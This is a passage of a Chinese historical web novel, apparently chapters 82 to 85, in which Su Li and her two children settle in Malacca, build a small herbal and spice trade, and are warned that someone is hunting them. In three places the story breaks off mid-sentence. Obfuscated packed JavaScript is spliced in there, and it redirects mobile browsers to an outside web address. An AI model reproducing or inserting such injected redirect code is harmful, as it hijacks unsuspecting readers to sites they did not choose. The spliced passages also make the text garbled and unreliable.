码头庞大得超乎想象。大小船只鳞次栉比，有挂着巨大硬帆的广船、福船，有船身狭长的阿拉伯三角帆船，有雕刻着繁复神像的暹罗船只，甚至还有几艘船体漆黑、船帆上绘着虽然被涂抹过狰狞骷髅的疑似海盗船改装的货船。皮肤黝黑、只着短裤的苦力喊着号子，扛着沉重的货包在跳板上穿梭；包着头巾的阿拉伯商人用生硬的官话与中原客商讨价还价；身着纱笼、肤色棕黄的本地妇人头顶着陶罐袅袅走过；偶尔还有几个金发碧眼、穿着紧身裤和古怪上衣的“红毛鬼”，趾高气扬地带着持火枪的护卫穿行其间。 这是一个光怪陆离、充满野性与活力的世界，与记忆里秩序井然的京城或压抑困顿的海上旅程，截然不同。 郑老大顾不得休整，立刻被一队穿着类似官服、手持弯刀的棕皮肤兵丁围住，操着生硬的葡萄牙语和比划，开始盘查文书、货物，征收关税。水手们被勒令待在船上，不得随意下岸。 苏璃带着板儿和巧姐儿，站在船舷边，望着下方这陌生的、沸腾的天地，心中充满了茫然。终于抵达了目的地，可接下来呢？郑老大许诺的“到了地头看造化”，究竟是怎样的造化？在这言语不通、举目无亲的异国，身无分文，还带着两个年幼的孩子，如何生存？ “柳娘子，”独眼老水手不知何时走了过来，依旧是那副木然的表情，但语气似乎缓和了些，“老大吩咐了，你们可以下船了。这是……老大给的。”他递过来一个小小的、沉甸甸的布袋。 苏璃接过，打开一看，里面是大约二十枚铜钱，与南洋本地流通的、中间有方孔的铜钱，与中原制式略有不同，还有一小块约莫二两重的、成色很一般的碎银子，以及……一把钥匙。 “这是……”苏璃不解。 “老大在码头后街，‘番人区’边上，有间早年置下的旧货栈，很小，很久没用了。钥匙给你，算是……谢你船上出力，也当是你们娘仨暂时落脚的地方。”独眼老水手语速平缓，“老大说了，货栈里可能还有些废弃的破木板、旧家什，你们自己收拾。能住多久，看你们自己本事。以后……各安天命。” 苏璃握着那袋微薄的“安家费”和冰凉的钥匙，心中五味杂陈。郑老大此举，谈不上厚道，但也并非全然绝情。至少，给了她们一个遮风挡雨的起点，哪怕那起点可能低到尘埃里。 “多谢老伯，也请替我多谢郑老大。”苏璃郑重地向独眼老水手行了一礼。 独眼老水手摆摆手，转身走了，背影在嘈杂的码头中显得有些萧索。这个在海上漂泊了大半生的老人，或许又将开始新的、不知终点的航程。 苏璃不再犹豫。她将银子贴身藏好，铜钱分出一半让板儿仔细收着，另一半连同钥匙攥在手心。她帮巧姐儿整理了一下用“云记”花布做的新褂子，又摸了摸板儿的头：“板儿，巧姐儿，我们下船。记住，跟紧娘，不要乱跑，不要理会陌生人。” “嗯！”板儿用力点头，紧紧拉住巧姐儿的手。巧姐儿睁大好奇的眼睛，看着下面陌生的一切，有些害怕，又有些兴奋。 三人顺着跳板，踏上了满剌加的土地。脚踏实地的感觉，带来一丝虚浮后的踏实，但旋即被更巨大的陌生感和不安淹没。她们随着人流，按照独眼老水手指点的方向，穿过堆满货物、散发着各种气味的码头区，走向所谓的“后街”。 “番人区”是满剌加城内划给各国商人、水手居住贸易的区域，建筑杂乱，各种风格的房屋挤在一起。郑老大所说的旧货栈，位于番人区边缘靠近一片华人聚居的陋巷。那确实是一间极其低矮破旧的小屋，门板歪斜，窗户用木板钉死，门口堆满了垃圾，散发着一股霉味。 苏璃用钥匙费力地打开锈蚀的锁，推开门，一股浓重的灰尘和霉腐气息扑面而来。里面光线昏暗，空间狭小，地上散落着断裂的木板、破麻袋和一些辨不出原形的废弃物。墙角结着蛛网，老鼠窸窣逃窜。 条件比“福海号”上的窝棚好不了多少，但至少，是她们自己的、陆地上的“家”。 “板儿，巧姐儿，我们来收拾我们的新家。”苏璃挽起袖子，脸上露出一个鼓励的笑容。再难，也要开始。 接下来的几天，是苏璃来到这个世界后，最为辛苦却也最为充实的一段日子。她们用破布扎成扫帚，清理了屋内的垃圾和灰尘；将还能用的木板拼凑成一张简易的床铺和一个小桌；用捡来的破瓦罐当锅碗；在屋后找到一个废弃的、半塌的灶台，勉强修了修，可以生火。郑老大给的铜钱，买了一点最便宜的糙米、一小罐盐和几块本地产的、味道奇怪类似木薯的块茎，又向隔壁一个看起来面善的、从闽地来的老妇人讨教了做法，总算解决了最基本的吃食问题。 安顿下来，生存的压力立刻迫在眉睫。那点碎银子是最后的保命钱，不能轻易动用。坐吃山空，很快就会陷入绝境。必须想办法赚钱。 苏璃开始仔细观察这个“家”周围的环境。她们所在的陋巷，住的多是像她们一样初来乍到、挣扎求生的底层华人，有失了船的水手，有逃荒来的农民，也有做小生意的贩夫走卒。巷口白天会形成一个自发的小集市，卖些蔬菜、鱼虾、针头线脑。更远处，番人区主街上，店铺林立，生意兴隆，但那里显然不是她们目前能涉足的地方。 她能做什么？补渔网、做针线的手艺在这里似乎用处不大，本地妇人自己做这些，成本更低。她也不会本地语言，无法与人深入交流。 她想起了怀中那本账册，和那半块玉佩。王熙凤的江南暗线“锦记”，会在这里吗？账册上那些与南洋贸易相关的模糊记录，又指向何处？这些是线索，也可能是陷阱，在没有足够自保能力前，她不敢轻易触碰。 就在她有些一筹莫展之际，转机意外地出现了。这日，苏璃正在屋外用简陋的炉子熬煮木薯粥，隔壁那位闽地老妇人——大家都叫她“林阿婆”——端着一碗黑乎乎的、散发着浓郁草药味的汤汁，唉声叹气地走了过来。 “柳娘子啊，你懂些草药，帮我看看，这药我熬得对不对？”林阿婆愁眉苦脸，“我家那口子，在码头上搬货闪了腰，疼得厉害，看了街口的‘番医’，给了这包草药，说是煎水喝。可我闻着这味儿，心里直打鼓……” 苏璃接过碗，小心地闻了闻，又用指尖沾了点尝了尝。草药的气味她很陌生，但其中几味，如接骨木、三七的气味，她似乎在前世模糊的中药知识里有过印象，而另一些刺鼻的味道，就完全不明所以了。她不敢妄断，但看着林阿婆焦急的眼神，心中一动。 “阿婆，这药我不太认得全。不过……”她想起船上对付坏血病和热病的土方，以及王熙凤账册上那些零星的偏方记录，一个念头闪过，“我老家有些治跌打损伤、舒筋活络的土法子，要不……我试试帮你家阿公推拿一下，再用些我知道的草药热敷看看？或许能缓解些疼痛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她的态度诚恳，手法轻柔，收费极低，通常只是几个铜板，或者以物易物，换点米粮菜蔬，而且从不吹嘘。渐渐地，来找她的人多了起来。虽然赚的微薄，但至少，她和两个孩子，能勉强吃饱肚子了。偶尔有人送来一条小鱼，几颗鸡蛋，更是难得的改善。 板儿和巧姐儿也慢慢适应了这里的生活。板儿会帮苏璃晾晒草药，打扫屋子，有时还会跟着巷子里的孩子，去码头附近捡些能卖钱的海贝壳或废铜烂铁。巧姐儿虽然还是胆怯，但脸上渐渐有了笑容，会在苏璃忙碌时，乖巧地坐在门口的小凳上，看着巷子里人来人往。 生活依旧清苦，充满了不确定性。但苏璃的心中，却奇异地安定下来。靠着自己的双手和一点知识，在这陌生的土地上，她们终于扎下了一缕微弱的根须。她开始学习简单的本地语言单词，向林阿婆打听更多关于满剌加、关于华人在这里生存的信息。她知道，这只是开始。想要真正站稳脚跟，保护自己和孩子们，她需要更多的钱，需要更深的了解这个社会，也需要……找到那个可能存在的“锦记”，或者，开辟一条完全属于自己的生路。 这一日傍晚，苏璃送走最后一个来看咳嗽的孩子，收了五枚铜板的诊金，正准备生火做饭。板儿从外面跑回来，小脸上带着兴奋：“娘！娘！我刚才在码头那边，看到黑塔大叔了！他……他在帮人卸货，看到我，还塞给我这个！”他摊开手心，里面是两枚亮闪闪的、不同于铜钱的银角子！ 苏璃一愣。黑塔也下船了？还在码头做苦力？他居然给了板儿钱？ “他还说什么了？”苏璃问。 “他说……说让娘有空，去码头‘老海狗’的酒摊找他，好像……有什么事。”板儿回忆道。 老海狗？是“福海号”上那个老舵手？他也在这里？而且，黑塔特意让板儿带话…… 苏璃看着手中那两枚微凉的银角子，又想起“福海号”上那些共患难的日子，心中涌起一丝复杂的暖流。或许，在这异国他乡，她们并非完全孤绝。 夜幕降临，陋巷里亮起零星灯火。远处番人区主街的方向，传来隐约的乐声和喧哗。满剌加的夜，才刚刚开始。而苏璃知道，她的路，也还很长。 83. 新的起点 两枚微凉的银角子，躺在苏璃掌心，在陋巷昏黄的灯火下，泛着柔和而坚实的光。黑塔的接济，和他让板儿带来的口信，像一颗投入平静水面的石子，在苏璃心中漾开一圈涟漪。她想起“福海号”上那些同甘共苦的日子，想起黑塔从海浪中救起巧姐儿时那粗鲁却有力的臂膀，想起老海狗沉默掌舵时那布满风霜的侧脸……一股夹杂着暖意与警惕的复杂情绪，悄然升起。 翌日，她将巧姐儿托付给信得过的林阿婆照看，自己带着板儿，来到了码头上那个据说是“老海狗”常驻的酒摊。那只是一个简陋的、用几根竹竿和破帆布搭起的棚子，几张油腻腻的矮桌，却坐满了歇脚的水手、苦力，空气中弥漫着劣质酒水和烤鱼的味道。 苏璃很快就在角落一张桌子旁，看到了黑塔和老海狗。黑塔依旧赤着上身，露出虬结的肌肉和狰狞的伤疤，正仰头灌着酒。老海狗则佝偻着背，慢吞吞地抽着水烟，浑浊的眼睛望着远处海面。见到苏璃母子，黑塔放下酒碗，点了点头，算是打过招呼。老海狗则抬起眼皮，看了苏璃一眼，眼神依旧是那种看惯风浪的麻木，但似乎也少了些船上的隔阂。 “坐。”黑塔指了指旁边的空凳子，声音粗嘎。 苏璃带着板儿坐下，低声道：“黑塔大哥，老海狗大叔，多谢惦记。你们……可还好？” “好个屁！”黑塔骂了一句，抹了把嘴，“船在修，老大被人坑了，一批要紧的香料货不对版，正跟人扯皮，焦头烂额。我们这些苦力，也就混口饭吃。”他顿了顿，看向苏璃，眼神带着一丝审视，也有一分难得的直率，“你倒是能耐，这么快就带着崽子站稳了？” 苏璃苦笑：“不过是些土法子，勉强糊口罢了。多亏了黑塔大哥之前的银角子。” 黑塔摆摆手，不以为意：“小钱。叫你过来，是提醒你一声。”他压低了声音，目光扫过嘈杂的酒摊，“这地方，龙蛇混杂。近来码头上不太平，有几拨人，像是在暗地里找什么人，特别是……从北边来的，带着孩子的妇人。你……自己警醒些。” 苏璃的心微微一沉，但脸上并未露出太多异样。果然，追索并未停止。她点了点头：“多谢大哥提醒，我会小心的。” 一直沉默的老海狗，这时忽然磕了磕水烟袋，嘶哑地开口，声音像被海风磨砺过：“往西，走两条街，有个‘陈记’杂货铺，老板姓陈，是潮州人，做生意还算公道。缺什么，或有什么小东西想出手，可以找他。就说是……老海狗让你去的。” 这算是另一种形式的关照，给了她一条或许可靠的、获取信息和进行小额交易的门路。苏璃心中感激，郑重地道了谢。她没有多问关于“福海号”的麻烦，也没有打听郑老大的现状，只是再次谢过他们的提醒和帮助，便带着板儿离开了酒摊。 黑塔和老海狗没有留她，也没有多问她的打算。在这异国他乡的码头，每个人都有自己的路要走，能互相提个醒，给条线，已是难得的善意。 回去的路上，苏璃牵着板儿的手，走在尘土飞扬的街道上，心中思量着。黑塔的警告证实了她的预感，追兵并未放弃。但她如今有了一个暂时的、不起眼的藏身之所，有了微薄的收入，也初步建立了小小的邻里关系网。更重要的是，她的心态已与刚上岸时的惶然无措不同。她不再仅仅是被动地躲避、求生，而是开始主动地观察、学习、筹划。 王熙凤的账册和玉佩，她依然贴身收藏，那玄鸟标记的秘密，她也未曾忘却。但经历过海上的生死与共，见识过满剌加的繁华与混乱，她心中的执念悄然发生着变化。那些往事，那些来自故国的恩怨纠葛，如同远去的帆影，固然在心头留下痕迹，却不再是唯一牵绊她前路的绳索。眼下更重要的是，如何在这片新的土地上，凭借自己的双手和头脑，为两个孩子，也为自己，开辟一条真正安稳、有希望的生路。 行医的微薄收入，只能勉强糊口，且风险不小，毕竟她并非真正的大夫。她需要更稳定、更有前景的营生。林阿婆闲聊时提过，本地一些常见的香料，如胡椒、豆蔻、肉桂，在华人聚居区很受欢迎，但往往被中间商层层加价，若能从源头或批发处直接拿货，哪怕数量很少，转手也有利可图。这或许是个机会。 她想起了老海狗提到的“陈记”杂货铺。 几日后，苏璃带着积攒下的一小串铜钱和那两枚银角子，又用自己采制的、清热解暑的草药茶包，跟林阿婆换了一小篮新鲜鸡蛋，用干净的布盖好，领着板儿，按照老海狗说的方向，找到了那家“陈记杂货铺”。 铺子不大，但收拾得整齐，货物也齐全，既有中原的针线布料、瓷器茶叶，也有本地的香料、干货、稀奇古怪的南洋玩意儿。老板是个五十来岁、精瘦干练的汉子，果然姓陈，说话带着浓重的潮州口音，但态度和气。 苏璃说明是老海狗介绍来的，先将那篮鸡蛋送上，说是自家攒的，不成敬意。陈老板推辞了一下，见她诚恳，便笑着收下，态度更显亲切。 苏璃没有立刻提出买卖，而是先以买家的身份，仔细询问了几种常见香料的价格、成色、产地。陈老板见她问得在行，也乐得讲解。聊得熟了，苏璃才试探着问，若是想进些货，量不大，可否从他这里拿。 陈老板打量了她几眼，大概是看出她并非寻常妇人，又念着老海狗的面子和那篮鸡蛋，沉吟片刻道：“小本生意，进货量小，价格上没什么优势。不过……看你也像是个实在人。这样吧，我认识几个相熟的本地小园主，有时会有些零散的、成色稍次但能用的货，价格便宜些。你若想要，下次他们送货来，我可以帮你留一点，你先试试。卖得好，再说。” 这已是极好的开端。苏璃连忙道谢，又用部分铜钱，在陈老板这里买了几样最基础的针线、一小包盐和一点劣茶——既是维持邻里关系，也是为日后可能的交易铺垫。 离开“陈记”，苏璃没有立刻回家，而是带着板儿，去了陈老板提到的、位于城西的一个较大的露天集市，那里是本地人交易农产品和手工制品的地方，也有一些小宗的香料、草药批发。她想亲自看看行情，摸摸门道。 集市上人声鼎沸，各种肤色的面孔混杂，语言各异，讨价还价声不绝于耳。空气中混杂着香料、草药、牲畜、熟食的浓烈气味。苏璃紧紧拉着板儿， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192358|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小心地穿行在摊位之间，目光锐利地扫过那些堆积如山的胡椒粒、成捆的肉桂、散发着奇异香气的豆蔻荚，以及各种她叫不出名字的块茎、干果、草药。 她在一个看起来生意不错、主要卖胡椒和豆蔻的摊子前停下，装作要买一点家用，一边挑选，一边用简单的本地语单词夹杂着手势，和摊主——一个黑瘦的马来老人——攀谈，试图打听更具体的产地、品质差异和批发价格。 就在这时，集市另一头忽然传来一阵骚动。几辆装饰华丽、带有明显阿拉伯风格的马车，在一队手持弯刀的护卫簇拥下，缓缓驶入集市，人群纷纷避让。马车在不远处一个专营贵重香料和珠宝的棚区停下，一个穿着白色长袍、头戴金丝刺绣头巾的阿拉伯商人，在一个通译的陪同下，走了下来，似乎要采购大宗货物。 这种场面在满剌加并不罕见，但苏璃的目光，却不由自主地被那阿拉伯商人身后一名随从腰间悬挂的一枚佩饰吸引了。那佩饰似乎是由某种深色金属打造，形状……隐约像是一只展翅的鸟？距离有些远，看不太真切，但那轮廓，让她瞬间联想到了怀中那片玄鸟丝绸碎片！ 她的心猛地一跳，下意识地握紧了板儿的手。是巧合吗？还是…… 她强迫自己移开目光，低下头，装作继续挑选胡椒，心脏却在胸腔里怦怦直跳。账册的秘密，玄鸟的标记，果然与这遥远的南洋有着千丝万缕的联系！但此刻，她身如浮萍，力量微薄，贸然探究，无异于以卵击石。 那阿拉伯商人和随从很快进入了棚区深处，被一群谄媚的本地商贩围住。骚动渐渐平息。 苏璃定了定神，快速买好一小包胡椒，付了钱，拉着板儿离开了那个摊位。她没有再去探究那佩饰，也没有继续在集市逗留。秘密就在那里，但她知道，现在还不是时候。她需要更强的力量，更多的资本，更稳的脚跟。 回去的路上，她默默计算着手中的余钱，构思着下一步的计划。先从陈老板那里进一点零散香料，在熟悉的邻里间试着售卖；同时，继续用草药和推拿维持基本收入和人脉；还要想办法学习更多的本地语言，了解这里的商业规则和势力分布…… 她不再是那个在惊涛骇浪中只能紧紧抓住船舷的逃亡者，也不再是那个在陌生码头上茫然四顾的流民。她是苏璃，是板儿和巧姐儿的依靠，是这满剌加陋巷中一个努力求生的普通妇人，也是一个心中埋着秘密、眼中看着远方、脚下踏着实地，准备一点一点，为自己和孩子们挣出一个未来的……开拓者。 夕阳的余晖，将陋巷破旧的房屋染上一层温暖的金色。炊烟袅袅升起，夹杂着各家各户烹饪的简单饭食香气。林阿婆正在门口择菜，看到她回来，笑着招呼：“柳娘子回来啦！巧姐儿刚还念叨你呢！” 巧姐儿从屋里跑出来，扑进她怀里。板儿懂事地接过她手里的东西。 “嗯，回来了。”苏璃搂着女儿，看着儿子，又望了望这虽然简陋却属于她们的小小屋檐，心中充满了前所未有的踏实与力量。 明天，又是新的一天。她要为那篮可能批来的香料，准备一些干净的布袋和称量的工具了。 84. 生计与暗流 从陈老板那里匀来的第一批零散胡椒和豆蔻，用干净的粗布分成若干小包，每一包都仔细称过，分量只多不少。苏璃没有急于像小贩那样沿街叫卖，而是先分给了平日里对她多有照拂的林阿婆、以及几位常来找她看些小毛病的邻居。 “阿婆，这是自家试着进的点香料，成色还行，您拿回去烧菜试试，看味道正不正。”苏璃语气自然，仿佛只是邻里间寻常的分享。 “哎呀，这怎么好意思！柳娘子你也不容易……”林阿婆推辞着，眼中却满是笑意。在满剌加，香料虽是日常所用，但品质好的价格不菲，这份“分享”既实在又贴心。 “自家用的，不值什么。您觉得好，以后若需要，我再帮您捎带，总比外头铺子里便宜些。”苏璃笑道，话也说在了明处。 果然，没过两日，林阿婆便来回话，说那胡椒味道醇正，豆蔻香气也足，比她平日买的似乎还好些，问她是否还有，想再要一点，顺便还帮同巷的另两户人家也问了。苏璃早有准备，价格定得比市面零售低上一成，但比陈老板给她的批发价略高，中间这点微薄的差价，便是她的利润了。 这第一笔“生意”虽小，却开了一个好头。邻里们见她做事实在，价格公道，拿来的香料也干净整齐，口口相传，找她买香料的人渐渐多了起来。苏璃并不贪多，每次只从陈老板那里进适量的货，卖完了再进，避免积压本钱。她还将自己采制的一些清热祛湿的草药茶包，搭配着香料一起卖，或是作为添头送给老主顾，很受欢迎。 有了香料生意带来的稳定些的进项，苏璃便将更多精力放在了草药的采集和简单加工上。她不再仅仅满足于治疗头疼脑热的小毛病，而是开始有意识地整理自己在船上、在邻里间学到的，以及来自王熙凤账册上那些零星记载的、关于南洋常见草药的知识。她向林阿婆和街口一位略通药理的闽南老郎中请教，仔细辨认哪些本地植物有药用价值，如何炮制，有何禁忌。她将采来的草药仔细清洗、晾晒、研磨或切片，分门别类，用干净的油纸包好，贴上简单的标签用炭笔画上图形或写上汉字，虽简陋，却一目了然。 “柳娘子这金盏菊茶，我家小子吃了，口疮好得快！” “这驱蚊的香草包真管用，挂门口，晚上蚊子少多了！” “柳娘子，我阿姆风湿痛，你上次给的那个热敷的药草，还有没有？” 口碑，就这样一点点建立起来。她依旧收费低廉，依旧只处理有把握的小症，但“柳娘子懂草药，心善，东西实在”的名声，却慢慢传出了她所在的陋巷。偶尔，甚至有隔着两条街的妇人，寻摸着找过来。 手里渐渐有了些活钱，苏璃的心思也活络起来。她开始留意集市上那些本地特色的、小巧易带的手工艺品，比如用贝壳串成的风铃、用棕榈叶编织的小筐、或是造型别致的木雕小玩意儿。这些东西成本不高，在华人聚居区却颇有些新奇。她用赚来的钱，少量买进一些，搭配着香料或草药，卖给那些有闲钱、又想给家里添点趣味的邻居，或者干脆用香料、草药与手工艺人直接交换。一来二去，她的小屋里，渐渐堆起了各式各样的货品，虽然杂乱，却充满了生机。 板儿成了她得力的帮手。孩子记性好，手脚麻利，认得不少草药，也会帮着分装香料、看顾妹妹。巧姐儿也不再总是怯生生的，会在苏璃忙碌时，蹲在门口，用树枝在泥地上画画，或是跟着隔壁稍大点的女孩学唱简单的马来歌谣。 生活，如同一条原本几近干涸的溪流，因为持续的努力和一点点的运气，终于重新开始潺潺流动，虽然依旧清浅，却充满了希望。 然而，满剌加从来不是一片平静的水域。码头上关于寻找“北边来的妇人”的风声，非但没有停歇，反而随着几艘来自中原的新商船抵达，似乎变得更加具体。苏璃从林阿婆和偶尔来买香料的码头苦力口中，隐约听到些消息，说是有人在暗中打听，是否有操北方口音、带着一儿一女、年约二十许的妇人，在附近落脚，还提到了不菲的赏金。这让她心头那根弦始终不敢放松，行事更加低调谨慎，若非必要，绝少去码头和番人区主街。 另一桩搅动风云的事情，则是郑老大的货物纠纷。听说那批有问题的香料牵扯到本地一个颇有势力的葡萄牙商会，对方态度强硬，郑老大焦头烂额，连“福海号”的维修都受到了影响。黑塔和老海狗偶尔在酒摊遇见苏璃，谈起此事，也是摇头叹气。苏璃帮不上什么忙，只是心里记着这份船上共患难的情谊，有时做了些耐存放的干粮，会让板儿悄悄给黑塔他们送些去。 这一日，苏璃需要补充一些编织香草包用的特殊韧性藤条，听说城东南一处较偏的市集有卖，且价格便宜。她将巧姐儿托付给林阿婆，带着板儿，背着个小背篓，早早出了门。 那市集果然比城西的主集市冷清许多，摊位也简陋，多是些卖自家出产的农副产品、手工工具或旧货的本地穷人。苏璃很快找到了卖藤条的摊子，价格确实实惠。她仔细挑选着，讨价还价，最后心满意足地买了一大捆。 就在她付了钱，准备离开时，眼角余光无意中瞥见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196940|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 市集最角落里，一个极为不起眼的、用几块破木板和油毡搭成的棚子，门口挂着一块歪斜的木牌，上面用汉字和弯弯曲曲的阿拉伯文写着什么，似乎是“当”字。一家当铺？在这种地方？ 她本没在意，正欲转身，棚子的破布帘忽然被掀开，一个佝偻着背、穿着灰扑扑旧褂子的身影，低头从里面走了出来，手里似乎捏着个小布包，迅速塞进怀里。 虽然那人低着头，步履蹒跚，但那身形姿态，苏璃却觉得有几分眼熟。尤其是当他侧身避开一个行人，抬头快速扫视了一眼四周时——那张布满深刻皱纹、眼神浑浊却偶尔闪过精光的脸——竟是老余头！ 苏璃的心猛地一跳，下意识地拉着板儿，侧身躲到了一个卖陶罐的摊子后面。老余头怎么会在这里？在这种偏僻的当铺？他来当什么？还是……赎什么？ 只见老余头警惕地看了看周围，似乎并未发现苏璃，然后便低着头，沿着市集边缘一条泥泞的小路，很快消失在了杂乱建筑群的阴影里。 苏璃站在原地，心中疑窦丛生。老余头的身份本就神秘，船上那些表现，绝非常人。他此刻出现在满剌加，出现在这偏僻的当铺，是单纯的巧合，还是另有图谋？与那玄鸟标记有关？与寻找她们的势力有关？还是……仅仅是他个人的际遇？ 她按捺住追上去一探究竟的冲动。现在的她，没有这个能力和资格。但老余头的出现，无疑是一个信号，提醒着她，这看似平静的、充满希望的新生活之下，依旧潜藏着来自过去的暗流，以及无数未知的变数。 “娘，怎么了？”板儿小声问，拉了拉她的衣角。 苏璃回过神，压下心中的波澜，对板儿笑了笑：“没什么，看到个认识的人。东西买好了，我们回家吧。” 回去的路上，她默默盘算着。香料和草药的生意要继续做，还要做得更稳，积累更多的本钱和人脉。老余头的出现，让她更加坚定了尽快提升自身实力、了解这个城市更多秘密角落的决心。或许，可以通过陈老板，打听一下那家偏僻当铺的底细？或者，下次若有机会再遇到黑塔他们，可以旁敲侧击地问问老余头的下落？ 夕阳将她的影子拉得很长。背上的藤条有些沉，但苏璃的脚步却稳而有力。她知道，无论前路还有多少未知与风浪，她都已不再是那个只能随波逐流的浮萍。她有要守护的人，有想要经营的生活，也有了在这片陌生土地上，一步步向前走的勇气与方向。 满剌加的灯火，次第亮起。属于苏璃的新篇章，才刚刚写下开篇几行。 85. 渐入佳境 日子在忙碌与希望中，如满剌加温热潮湿的海风般，悄然滑过。苏璃的小小“生意”，如同藤蔓，在这异国的土壤里，扎下根须，开始舒展枝叶。 香料生意稳步向好。邻里间的口碑是最好的招牌，找她买香料的人从巷内扩展到附近几条街，甚至开始有街口小食摊的老板，固定从她这里拿货，虽每次量不大，但胜在稳定。苏璃与陈老板的合作也愈发默契，陈老板见她讲信用，进货准时，偶尔还会指点她些辨别香料成色、预估行情的门道。她也投桃报李，将自家炮制的一些清热解暑的草药茶包，送给陈老板铺子里的伙计和熟客品尝，无形中也为陈记招徕了些人气。 草药方面，苏璃不再局限于治疗小病小痛。她将更多精力放在了几样确有实效、又相对安全的“养生”或“家用”类草药制品上。比如，针对本地湿热气候、蚊虫滋扰，她改进的驱蚊香草包，加入了更多本地特有的、气味清冽持久的植物，效果显著，很受欢迎。又比如，她用几种本地常见的、有安神舒缓功效的花草，调配出简易的“安神枕芯料”，卖给那些睡眠不安的老人家或神经衰弱的水手家眷，反响也不错。 她还从林阿婆那里，学了几样简单的、用南洋特有香草和果实制作的民间小食，如用椰浆、香兰叶和木薯粉做的绿色小糕，或是用棕榈糖和姜熬制的润喉糖浆。她试着做了些，分给邻里和常客，没想到颇受喜爱。尤其是那润喉糖浆，对于码头苦力和水手这些常年受海风烟尘侵扰的嗓子，简直是福音。于是，在售卖香料草药之余，她又多了一两样可以贴补家用的“副产品”。 货品多了，她们那间低矮的小屋渐渐显得拥挤。苏璃用赚来的钱，请巷子里一个会点木工活的福建老丈，帮忙在屋前檐下，搭了一个小小的、带顶棚的摊架。白天，可以将部分货品摆出来，既方便邻里选购，也像个正经“铺面”的样子。夜里，摊架收回屋里，也不占地方。她又买了几口大小不一的陶缸，洗净晾干，用来分门别类储存香料和草药，防潮防虫。 板儿俨然成了她最得力的小助手。孩子记性好，认得大部分货品和价格，算账也快。苏璃出门办事或采药时，板儿便能守着摊子，应付简单的买卖，还能照看巧姐儿。巧姐儿也懂事了许多，会帮着阿娘整理晒干的草药，或是用稚嫩的小手，将香草包里的填充物塞得鼓鼓囊囊。 生活依旧清苦，每一文钱都需精打细算。但看着渐渐充盈的米缸，看着孩子们身上虽不新却整洁暖和的衣衫，看着这小屋里日益增添的烟火气和生机，苏璃的心中充满了踏实与满足。这是她用双手，一点一点挣来的安稳。 手头稍微宽裕，她开始有意识地打探更多关于满剌加、关于贸易的信息。与陈老板闲聊时，她会请教些货物流通、汇率变化的常识；与来买香料的码头管事或小商贩攀谈，她会留心他们透露的航运消息、货物行情；甚至，她会用一点香料或草药作为酬谢，请林阿婆或那位闽南老郎中，讲讲他们所知的、关于本地华人商会、葡萄牙人势力、乃至更遥远的“红毛国”（荷兰、英国）商馆的零星旧闻。 她知道，想要真正在这里立足，甚至将来有能力庇护自己和孩子们，仅仅满足于巷口的小生意是不够的。她需要更广阔的眼界，更需要积累能够抵御风险的资本。王熙凤账册上那些模糊的南洋贸易记录，像遥远的星光，虽然看不清路径，却指引着一个可能的方向。 当然，她从未忘记潜伏的危机。关于寻找“北边妇人”的流言，时断时续，但始终未曾彻底消失。她叮嘱板儿和巧姐儿，在外人面前尽量少提北边的事，自己也更加注意言行，尽量避免去人多眼杂、特别是新近有中原船只停靠的区域。老余头在偏僻当铺的惊鸿一瞥，也让她对这座城市的暗面多了几分警惕。她曾旁敲侧击地向陈老板打听过那家当铺，陈老板只含糊地说那地方“背景杂，少沾惹”，便不再多言，更让她觉得其中水深。 然而，生活的主旋律，终究是向前看的努力与希望。那些阴影，被她小心地压在心底，转化为更谨慎行事的动力，而非整日惶惶的枷锁。 这一日午后，苏璃正在檐下摊架前，整理新晒好的一批驱蚊草。板儿带着巧姐儿，在门口空地上用石子玩着“抓子”游戏。阳光透过棕榈叶的缝隙，洒下斑驳的光点，巷子里弥漫着午后特有的慵懒与安宁。 忽然，一阵急促而沉重的脚步声打破了这份宁静。黑塔那魁梧如山的身影，如同一阵狂风般卷进了巷子，脸上是罕见的焦急与慌乱。他径直冲到苏璃摊前，喘着粗气，语无伦次：“柳……柳娘子！快！快跟我走！出事了！大壮……大壮他快不行了！” 苏璃心里一惊，放下手中的草药：“黑塔大哥，慢慢说，谁不行了？怎么回事？” “是大壮！跟我们一条船上的兄弟！”黑塔眼睛赤红，“老大那批货的纠纷，跟葡萄牙商会的人动起手来了！大壮替老大挡了一下，被……被那群红毛鬼的打手用铁棍砸中了胸口，吐了好多血！抬回去就不行了！街口的番医看了一眼就说没救，让准备后事！柳娘子，你……你懂草药，救过船上那么多人，求你，去看看吧！兴许……兴许还有救！” 他声音哽咽，带着绝望中抓住最后一根稻草的祈求。这个平日里凶悍粗鲁的汉子，此刻竟急得快要哭出来。 苏璃的心猛地一沉。郑老大的纠纷终于演变成了流血冲突！大壮她记得，是船上一个沉默寡言、但干活肯卖力的年轻水手。胸口中了铁棍重击，内出血……这伤势，以这个时代的医疗条件，凶多吉少。她不是外科大夫，手里更没有现代医疗设备和药物。 “黑塔大哥，我……”苏璃面露难色，她知道自己几斤几两。 “柳娘子！求你了！”黑塔扑通一声，竟是要跪下来，“不看僧面看佛面，看在咱们一条船上共过生死的份上！你去看看，死马当活马医！就算……就算真救不回来，也让兄弟们死个明白，尽尽心啊！” 